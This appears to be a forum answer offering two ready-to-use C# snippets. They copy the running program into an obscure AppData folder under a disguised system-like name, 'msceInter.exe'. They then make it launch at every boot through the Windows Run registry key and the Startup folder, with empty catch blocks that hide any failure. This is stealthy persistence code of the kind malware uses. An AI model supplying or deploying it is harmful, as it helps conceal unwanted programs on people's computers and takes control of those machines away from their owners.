That's actually quite easy to do.
Here are two code snippets you can use to do that.
This copies your program into a folder that is rarely accessed then uses the computer's registry to open it on the computer's startup.
Note: We use try and catch statements just in case, you should always use them.
public static void AddToRegistry()
{
try
{
System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\ATI\" + "msceInter.exe");
RegistryKey RegStartUp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
RegStartUp.SetValue("msceInter", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\ATI\" + "msceInter.exe");
}
catch { }
}
Here is adding to start up (We copy our file into the startup folder, Start Button > All Programs > Start Up is where it will be found)
public static void AddToStartup()
{
try
{
System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + "msceInter.exe");
}
catch { }
}